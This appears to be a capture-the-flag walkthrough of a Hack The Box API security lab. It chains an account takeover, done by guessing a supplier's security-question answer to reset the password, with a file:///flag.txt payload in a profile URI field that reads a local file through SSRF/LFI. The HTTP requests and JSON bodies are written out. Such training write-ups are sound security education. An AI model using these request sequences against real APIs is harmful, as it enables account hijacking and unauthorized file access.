Introduction
Walking through my solve of the Attacking APIs Skills Assessment. This one chains weak authentication flows, insecure password reset mechanisms, and a classic SSRF/Local File Inclusion vulnerability to read the flag from /flag.txt.
What makes this lab interesting is how it forces you to move between different user contexts and carefully abuse a field that looks harmless at first glance.
Step 1: Initial Authentication
The challenge starts by asking us to authenticate to the target with the provided credentials:
- Email:
htbpentester@hackthebox.com - Password:
HTBPentester
I sent a request to the customer login endpoint:
POST /api/v2/authentication/customers/sign-in
This returned a valid JWT. I authorized all subsequent requests using this token.
Step 2: Checking Current Privileges
Next, I checked what the authenticated user is allowed to do:
GET /api/v2/roles/current-user
Response:
{
"roles": [
"Suppliers_Get",
"Suppliers_GetAll"
]
}
Very limited privileges — only the ability to list suppliers.
Step 3: Enumerating Suppliers
I requested the list of all suppliers:
GET /api/v2/suppliers
One interesting field stood out in the response:
"securityQuestion": "What is your favorite color?"
This immediately looked like a potential password reset vector.
Step 4: Abusing the Security Question Reset
I targeted a supplier account (B.Rogers1535@globalsolutions.com) and attempted to reset its password via the security question endpoint:
POST /api/v2/authentication/suppliers/passwords/resets/security-question-answers
{
"SupplierEmail": "B.Rogers1535@globalsolutions.com",
"SecurityQuestionAnswer": "red",
"NewPassword": "12"
}
After trying a few common colors, the response came back:
{
"successStatus": true
}
Password successfully changed.
Step 5: Logging in as the Compromised Supplier
I logged in with the new credentials and obtained a fresh JWT for the supplier account.
Checking the current user data:
GET /api/v2/suppliers/current-user
{
"supplier": {
"id": "36f17195-395f-443e-93a4-8ceee81c6106",
"name": "Brandon Rogers",
"email": "B.Rogers1535@globalsolutions.com",
"securityQuestion": "What is your favorite color?",
"professionalCVPDFFileURI": "SupplierDidNotUploadYet"
}
}
Step 6: Discovering the SSRF / LFI Vector
The field professionalCVPDFFileURI looked suspicious. I checked if it was updatable:
PATCH /api/v2/suppliers/current-user
{
"SecurityQuestion": "What is your favorite color?",
"SecurityQuestionAnswer": "red",
"ProfessionalCVPDFFileURI": "file:///flag.txt",
"PhoneNumber": "123456789",
"Password": "hassan123"
}
Response:
{
"SuccessStatus": true
}
The update was accepted.
Step 7: Retrieving the Flag
Finally, I requested the CV:
GET /api/v2/suppliers/current-user/cv
The response contained a Base64-encoded value:
{
"successStatus": true,
"base64Data": "SFRCe2Yx*************************fQo="
}
Decoding it:
echo "SFRCe2Yx*************************fQo=" | base64 -d
Flag: HTB{f***********************k}
Key Takeaways
- Limited roles don’t mean the attack surface is small — always enumerate related objects (suppliers in this case).
- Security questions are often weakly implemented and can be used as an account takeover vector.
- User-controlled URI fields (especially those related to file uploads or profiles) are high-value targets for SSRF and Local File Inclusion.
- Always test whether a field that appears to store a path or URL can be updated and later retrieved by the application.
Happy hacking! 🔐
Top comments (0)